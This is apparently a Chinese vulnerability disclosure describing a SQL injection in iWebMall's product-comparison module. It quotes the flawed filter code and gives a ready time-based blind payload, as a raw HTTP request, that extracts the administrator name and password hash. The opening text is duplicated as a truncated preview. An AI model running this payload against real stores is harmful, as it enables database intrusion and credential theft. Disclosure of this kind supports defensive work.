### 简要描述: Iwebmall 最新版SQL注入第十一枚(打包两个注入) ### 详细说明: 看到wooyun上有人提了几个iweb的漏洞( [WooYun: iwebmall商城程序sql注入](http://www.wooyun.org/bugs/wooyun-2014-078282) ),我来捡捡漏儿吧,希望不要重复。 先把注入点拿出来:www.xxx.com//modules.php?app=contrast&id=&contrast_goods_id=,其中参数id和contrast_goods_id存在注入,程序对id使用shotr_check()进行了过滤,但是这里是数字型的,直接绕过过滤。 这里以id为例进行说明 /modules/goods/contrast.php ``` 无关代码 $id = short_check(get_args("id")); $goods_ids = substr(short_check(get_args("contrast_goods_id")),0,-1); if ($goods_ids){ $goods_ids = $goods_ids; }else if($id) { $goods_ids = $id; }else { trigger_error($m_langpackage->m_page_request_error); } $sql=" SELECT shop_id,goods_name,goods_thumb,goods_id,goods_price,brand_id,favpv,cat_id,transport_price,transport_template_price FROM $t_goods WHERE goods_id IN ($goods_ids) "; $goods_list = $dbo->getRs($sql); 无关代码 ``` 可以看到id经过short_check过滤,去看看short_check()。 ``` function short_check($str,$is_hex="") { $MaxSlen=300;//限制短输入项最多300个字符 if (!get_magic_quotes_gpc()) // 判断magic_quotes_gpc是否打开 {...
### 简要描述: Iwebmall 最新版SQL注入第十一枚(打包两个注入) ### 详细说明: 看到wooyun上有人提了几个iweb的漏洞( [WooYun: iwebmall商城程序sql注入](http://www.wooyun.org/bugs/wooyun-2014-078282) ),我来捡捡漏儿吧,希望不要重复。 先把注入点拿出来:www.xxx.com//modules.php?app=contrast&id=&contrast_goods_id=,其中参数id和contrast_goods_id存在注入,程序对id使用shotr_check()进行了过滤,但是这里是数字型的,直接绕过过滤。 这里以id为例进行说明 /modules/goods/contrast.php ``` 无关代码 $id = short_check(get_args("id")); $goods_ids = substr(short_check(get_args("contrast_goods_id")),0,-1); if ($goods_ids){ $goods_ids = $goods_ids; }else if($id) { $goods_ids = $id; }else { trigger_error($m_langpackage->m_page_request_error); } $sql=" SELECT shop_id,goods_name,goods_thumb,goods_id,goods_price,brand_id,favpv,cat_id,transport_price,transport_template_price FROM $t_goods WHERE goods_id IN ($goods_ids) "; $goods_list = $dbo->getRs($sql); 无关代码 ``` 可以看到id经过short_check过滤,去看看short_check()。 ``` function short_check($str,$is_hex="") { $MaxSlen=300;//限制短输入项最多300个字符 if (!get_magic_quotes_gpc()) // 判断magic_quotes_gpc是否打开 { $str = addslashes($str); // 进行过滤 } $str = LenLimit($str,$MaxSlen); $str = str_replace("\'", "", $str); $str = str_replace("\\", "", $str); $str = str_replace("#", "", $str); $str = htmlspecialchars($str); if (empty($is_hex)) { $str = cleanHex($str); } return trim($str); } ``` 可以看到,short_check把单引号转义,然后去掉,但是这里可以不用单引号注入。 Iweb没有错误回显,这里用time-based blind进行注入测试。 Payload: ``` GET /modules.php?app=contrast&id=1)/**/and/**/(select/**/if(ord(mid((select/**/admin_name/**/from/**/ imall_admin_user/**/where/**/admin_id=1/**/limit/**/0,1),1,1))=122,sleep(3),0))/**/and/**/(1)=(1 HTTP/1.1 Host: 192.168.0.107 User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:34.0) Gecko/20100101 Firefox/34.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh,zh-cn;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://192.168.0.107/modules.php?app=shop_category_add&id=37 Cookie: AJSTAT_ok_times=8; bdshare_firstime=1414502402741; iweb_hisgoods[15]=1417531949; iweb_hisgoods[26]=1418653330; iweb_email=xxxxx@163.com; iweb_iweb_login=xxxxx%40163.com; PHPSESSID=2sehcgbl6p66ptiop9c0cn3fp5 Connection: keep-alive ``` 测试时:登陆后访问如上的请求,抓包,按上面的payload进行修改即可。 因为是time-based blind 注入,猜测管理员用户名的第一个字母时,若错误,延迟2s左右,如下图 [<img src="https://images.seebug.org/upload/201412/16235328414da727740901af0465720c168ad530.jpg" alt="猜测失败副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/16235328414da727740901af0465720c168ad530.jpg) 若正确,延迟5s左右,如下图 [<img src="https://images.seebug.org/upload/201412/16235353e6e1ece6630a5c139768a672ed57dab4.jpg" alt="猜测成功副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/16235353e6e1ece6630a5c139768a672ed57dab4.jpg) 按上面的方法依次做下去(burp intruder或者自己写个脚本跑),可测试管理员用户名为:admin,密码为: 21232f297a57a5a743894a0e4a801fc3 ### 漏洞证明: 见 详细说明